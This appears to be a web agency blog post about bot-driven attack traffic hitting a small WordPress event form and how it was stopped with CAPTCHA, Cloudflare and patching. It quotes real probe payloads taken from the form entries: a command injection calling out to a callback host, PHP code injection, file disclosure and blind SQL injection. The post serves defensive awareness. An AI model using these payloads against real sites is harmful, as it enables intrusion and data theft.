“Nobody would bother attacking my site”
Unfortunately, I hear that sentence way too much. The logic feels sound: you’re not a bank, not a big brand, there’s nothing to steal. So you don’t spend money on security.
But this is all built on a misunderstanding of how attacks actually work.
In most cases where a website was hacked, no human being sat down, found it, and decided to target it. Instead, it is usually automated scanners that sweep the internet. Scanning millions of sites a day. Probing every public form, login page, and endpoint they can find. Your site isn’t a target because it’s valuable. It’s a target because it exists and it responds.
Most people picture form spam as sketchy pharmaceutical links, crypto pitches, half price brand name products… Most of the time, that is what it actually is. But recently I had a client that built a simple event sign up form without any thing to block automated bots and that one form saw almost 4000 entries in under two hours.
While investigating, I started noticing that they weren’t advertising anything. In fact, I quickly noticed that they were attempts to break in. Every major attack type was used on this form:
Command injection: attempts to make the server execute shell commands:
;(nslookup -q=cname hitxxxxxxxx.bxss[.]me||curl hitxxxxxxxx.bxss[.]me)
That domain is a callback service used by attack tools. If the server executes the command, it phones home and the attacker’s dashboard lights up: this site is vulnerable, come back and exploit it.
PHP code injection: attempts to run attacker-supplied code inside the application:
";print(md5(31337));$a="
If the site were vulnerable, a telltale hash would appear in the page response. Silent confirmation that the attacker can execute code on your server.
- Fun trivia: ‘
31337‘ is old hacker-speak for “eleet” (elite). It’s been the traditional test number in these payloads for decades.
File disclosure: attempts to read files off the server:
c:/windows/win.ini
A probe to see whether the application will cough up arbitrary files.
Blind SQL injection: attempts to take control of the database:
(select(0)from(select(sleep(15)))v)
This one’s clever: it tells the database to pause for 15 seconds. The attacker doesn’t need to see any data leak. If the page suddenly takes 15 seconds to respond, they know their SQL is executing inside your database. From there: customer data, admin accounts, everything could be stolen.
Read that list again and understand what it means. In two hours, one form on one ordinary website was tested for remote code execution, file theft, and database takeover. Almost 4000 times, by software that never sleeps and never gets bored.
Fortunately for us, Gravity Forms handles input properly. It treats form data as data, not code.
But here’s the thing: that outcome depended entirely on every piece of software on that site doing its job perfectly. One outdated plugin with a known vulnerability and this story could have ended very differently. Instead of a cleanup job, we could have been looking at a compromised server, stolen data, a blacklisted domain, and a very miserable day(s).
How we shut it down
Once I could see the entries, the diagnosis took minutes, and the prescription was clear. Two moves, in order:
First, stop the bleeding. Deactivate the form/Take it offline.
Second, We got CAPTCHA challenges onto the site’s forms that same morning. Bots that had been submitting freely suddenly had to prove they were human. The flood stopped within minutes.
Third, fix the actual problem. A CAPTCHA is a band-aid on one symptom. The real fix was moving the site behind Cloudflare’s edge firewall for advanced bot protection. Once in place, the site inherited an entire defensive perimeter: bot detection that challenges malicious traffic before it ever reaches WordPress, a web application firewall that recognizes those injection payloads on sight, rate limiting that cuts off any IP hammering the forms, and enforced HTTPS on every request.
The result: thousands of malicious submissions per hour dropped to zero. Not just fewer, but zero. The scanners are still knocking, but now they get blocked at the firewall and show up as blocked events in a security dashboard instead of entries in a database.
The moral: security is a decision you make before you need it
Here’s what separates the sites that shrug off this constant background attack traffic from the sites that make panic calls: nothing expensive, nothing exotic. The core of the stack that ended this attack costs $0 in ongoing fees:
- A firewall and bot protection in front of the site: traffic gets filtered before it ever touches your server
- Rate limiting on form submissions: humans don’t submit forms five times in ten seconds; bots do nothing else
- Modern CAPTCHA on every public form: stops automated submissions from bots
- Rigorous updates: WordPress core, plugins, and themes patched promptly, because the scanners are specifically hunting for sites that lag behind and are still running old versions of WP, old out dated themes, and old unsupported or unpatched plugins
None of this is hard. In some cases there might be small fees, but all of it is cheaper than one emergency. In a lot of websites, you can have this level of security without any additional fees. Let me know if you want to discuss any of this for your website.